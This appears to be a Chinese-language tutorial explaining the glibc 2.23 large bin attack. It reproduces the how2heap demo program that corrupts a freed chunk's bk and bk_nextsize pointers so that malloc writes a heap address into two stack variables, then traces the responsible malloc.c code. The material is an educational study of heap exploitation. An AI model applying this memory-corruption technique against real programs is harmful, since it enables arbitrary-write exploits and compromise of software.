和 unsorted bin attack 有点类似,都是通过把 fake_chunk 挂进 bin 中来引发问题,与 unsorted bin attack 不同的就是 large bin 要多考虑两个结构fd_nextsize
和bk_nextsize
glibc:2.23
large bin 结构 大于512(1024)字节的 chunk 称之为 large chunk,large bin 就是用于管理这些 large chunk 的
从大到小排序
如果大小相同,按照free的时间排序
多个大小相同的堆块,只有首堆块的fd_nextsize和bk_nextsize会指向其他堆块,后面的堆块的fd_nextsize和bk_nextsize均为0
size最大的chunk的bk_nextsize指向最小的chunk,size最小的chunk的fd_nextsize指向最大的chunk
how2heap 源码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 #include <stdio.h> #include <stdlib.h> int main () { unsigned long stack_var1 = 0 ; unsigned long stack_var2 = 0 ; fprintf (stderr , "stack_var1 (%p): %ld\n" , &stack_var1, stack_var1); fprintf (stderr , "stack_var2 (%p): %ld\n\n" , &stack_var2, stack_var2); unsigned long *p1 = malloc (0x320 ); malloc (0x20 ); unsigned long *p2 = malloc (0x400 ); malloc (0x20 ); unsigned long *p3 = malloc (0x400 ); malloc (0x20 ); free (p1); free (p2); void * p4 = malloc (0x90 ); free (p3); p2[-1 ] = 0x3f1 ; p2[0 ] = 0 ; p2[2 ] = 0 ; p2[1 ] = (unsigned long )(&stack_var1 - 2 ); p2[3 ] = (unsigned long )(&stack_var2 - 4 ); malloc (0x90 ); fprintf (stderr , "stack_var1 (%p): %p\n" , &stack_var1, (void *)stack_var1); fprintf (stderr , "stack_var2 (%p): %p\n" , &stack_var2, (void *)stack_var2); return 0 ; }
19 行,首先定义了两个变量 stack_var1 和 stack_var2,然后再分别申请了 3 个 chunk ,p1(0x320)、p2(0x400)、p3(0x400),中间用 0x20 大小的 chunk 隔开
22 行,free 掉 chunk_p1 和 chunk_p2,因为大小超出了 fastbin 的范围,所以链入 unsorted bin
24 行,申请一个 0x90 大小的 chunk
这一步做了很多事
从 unsorted bin 中拿出 p1(0x602000) (因为 unsortedbin 遵循先进先出)
把 p1 放入 small bin,标记 small bin 中有空闲 chunk
从 unsorted bin 中拿出最后一个 chunk_p2
将 p2 放入 large bin(大于0x3f0),标记 large bin 中有空闲 chunk
unsorted bin 为空,从 small bin 中的 p1 分割出一个 chunk,把分割剩下的 chunk 丢入 unsorted bin
26 行,释放 chunk_p3,同理也会进入 unsorted bin
32 行,修改 chunk_p2 内部结构
修改前:
修改后:
bk 改为了 stack_var1 - 0x10
,所以以 stack_var1 - 0x10
为 chunk 头的 fd 指针就是stack_var1
同理, bk_nextsize
被修改成了 stack_var2 - 0x20
,所以以stack_var2 - 0x20
为 chunk 头的 fd_nextsize
就是stack_var2
用图片表示即为
34 行,申请一个 0x90 大小的 chunk ,和之前一样
申请前:
申请后:
从 unsorted bin 中拿出 p1_left (0x6020a0),放入 small bin,并标记 small bin 中有空闲 chunk
再从 unsorted bin 中拿出 p3 (0x6027a0),放入 large bin,并标记 large bin 中有空闲 chunk
从 small bin 中分割出一个 0x90 大小的 chunk,剩下的 chunk 丢入 unsorted bin
37 行,可以发现 stack_var1 和 stack_var2 被改为了同样的地址
malloc.c 源码分析 现在细说 unsorted bin 拿出 p3 的过程,首先会判断 p3 应该归属的 bin 的类型,根据 size 判断出是 large bin,因为此时 large bin 中有 p2,所以还会比较 p3 和 p2 的大小,再根据实际情况制定两个 chunk 的 fd_nextsize
、bk_nextsize
、fd
、bk
指针,以下是具体过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av); if (size == nb) { set_inuse_bit_at_offset (victim, size); if (av != &main_arena) victim->size |= NON_MAIN_ARENA; check_malloced_chunk (av, victim, nb); void *p = chunk2mem (victim); alloc_perturb (p, bytes); return p; } if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert ((bck->bk->size & NON_MAIN_ARENA) == 0 ); if ((unsigned long ) (size) < (unsigned long ) (bck->bk->size)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim; } else { assert ((fwd->size & NON_MAIN_ARENA) == 0 ); while ((unsigned long ) size < fwd->size) { fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0 ); } if ((unsigned long ) size == (unsigned long ) fwd->size) fwd = fwd->fd; else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk; } } else victim->fd_nextsize = victim->bk_nextsize = victim; } mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
之后会比较 要放入的chunk (p3)
和 原来的chunk (p2)
之间的大小
p3_size < p2_size 如果 p3_size < p2_size
就会执行下面的代码,因为之前我们把 p2 的 size 改为了0x3f0 ,p3 的 size 为 0x410,p3_size > p2_size,所以会绕过这个循环
1 2 3 4 5 while ((unsigned long ) size < fwd->size) { fwd = fwd->fd_nextsize; assert ((fwd->size & NON_MAIN_ARENA) == 0 ); }
p3_size == p2_size 接着会判断 p3_size == p2_size 的情况
很显然也绕过了
1 2 3 if ((unsigned long ) size == (unsigned long ) fwd->size) fwd = fwd->fd;
p3_size > p2_size 然后就是 p3_size > p2_size 的情况了
结合之前修改 p2 的内容可以得出
p2->bk->fd = stack_var1
p2->bk_nextsize->fd_nextsize = stack_var2
1 2 3 4 5 6 7 8 else { victim->fd_nextsize = fwd; victim->bk_nextsize = fwd->bk_nextsize; fwd->bk_nextsize = victim; victim->bk_nextsize->fd_nextsize = victim; } bck = fwd->bk;
把上面的代码转化一下就是
1 2 3 4 5 6 7 8 else { P3->fd_nextsize = P2; P3->bk_nextsize = P2->bk_nextsize; P2->bk_nextsize = P3; P3->bk_nextsize->fd_nextsize = P3; } bck = P2->bk;
再转换
p2->bk_nextsize->fd_nextsize = stack_var2
p3->bk_nextsize = p2->bk_nextsize
p3->bk_nextsize->fd_nextsize = p3
解方程得 stack_var2 = P3
1 2 3 4 5 mark_bin (av, victim_index); victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;
同理得
1 2 3 4 5 mark_bin(av, victim_index); P3->bk = p2->bk; P3->fd = P2; P2->bk = P3; P2->bk->fd = P3;
再转换
p2->bk->fd = stack_var1
p2->bk->fd = p3
解方程得 stack_var1 = P3
综上 stack_var1 = stack_var2 = P3
参考博客
https://blog.csdn.net/qq_41202237/article/details/112825556?spm=1001.2014.3001.5501